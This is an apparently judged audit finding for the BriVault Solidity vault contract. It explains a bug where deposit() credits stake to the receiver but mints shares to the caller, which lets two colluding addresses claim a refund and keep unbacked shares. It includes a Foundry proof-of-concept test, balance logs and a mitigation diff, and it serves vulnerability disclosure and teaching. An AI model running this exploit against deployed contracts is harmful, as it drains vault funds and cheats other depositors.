BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Free shares printing exploit

Free shares printing exploit

Description

  • Normal behavior: Depositing should mint shares to the same address that is recognized as the depositor for staking/refund logic. Cancelling should burn the corresponding shares and refund the proper depositor, keeping vault solvency.

  • Issue: deposit(assets, receiver) records stake for receiver but mints shares to msg.sender. cancelParticipation() refunds msg.sender and burns msg.senders shares. An attacker can deposit under a victim receiver (records stake there) while keeping the shares, then the victim calls cancel to get a refund from the vault without burning the attacker’s shares. This leaves unpaid shares in circulation (backed by zero assets), effectively “printing” free shares.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
...
// @> deposit accounting stake under receiver
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
...
// @> deposit mints shares to msg.sender
_mint(msg.sender, participantShares);
...
}
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
// @> cancel refunds msg.sender based on stakedAsset[msg.sender] and burns msg.sender's shares
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood: High

  • Occurs whenever a user can deposit with receiver != msg.sender and then that receiver calls cancel.

  • Anyone can freely call these functions as long as they have 2 addresses

  • Everyone has motivation to do this as it will print free shares (only fee is paid)

Impact: High

  • Leaves outstanding shares without backing assets, making the vault insolvent.

  • Later payouts (including to legitimate winners) are reduced or fail due to insufficient vault balance.

  • Breaks the whole game mechanic as users can enter the game for free

Proof of Concept

Description:

  • a user has 2 addresses: user1 and user2

  • user1 deposits to receiver = user2, but shares are minted to user1.

  • user2 calls cancel to get a refund (vault pays out), but their shares are zero, so no burn occurs.

  • user2 transfers the refunded tokens back to user1. user1 ends up with tokens and the original shares (free shares).

function testFreeSharesExploit() public {
vm.prank(owner);
briVault.setCountry(countries);
// User 1 deposit under user 2 address, but still receives shares
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
vm.stopPrank();
// user 2 refunds
vm.startPrank(user2);
briVault.cancelParticipation();
vm.stopPrank();
// User 2 transfers back the tokens to user 1
vm.startPrank(user2);
mockToken.transfer(user1, 5 ether);
vm.stopPrank();
// Assertions of the balances and shares of the users
// Only a fee in balance is lost, but user1 has still all the shares
console.log("balance user 1", mockToken.balanceOf(user1));
// 20000000000000000000
console.log("balance user 2", mockToken.balanceOf(user2));
// 19925000000000000000 (loss in fee)
console.log("shares user 1", briVault.balanceOf(user1));
// 4925000000000000000 (still has the shares)
console.log("shares user 2", briVault.balanceOf(user2));
// 0
// Assertion of the vault balance and total shares
// The vault has no assets but still has outstanding shares
console.log("vault balance", mockToken.balanceOf(address(briVault)));
// 0
console.log("total shares", briVault.totalSupply());
// 4925000000000000000
}

Recommended Mitigation

  • Make share recipient and stake owner the same party. Minimal change: mint shares to receiver to match stakedAsset[receiver] semantics. Optionally, enforce receiver == msg.sender to remove third-party deposit risk.

  • Consider also validating and cleaning up participation state on cancel to avoid stale accounting in other flows.

Align minted shares with the recorded stake owner:

- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);

Or prevent third-party deposits entirely:

function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ require(receiver == msg.sender, "invalid receiver");
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Shares Minted to msg.sender Instead of Specified Receiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!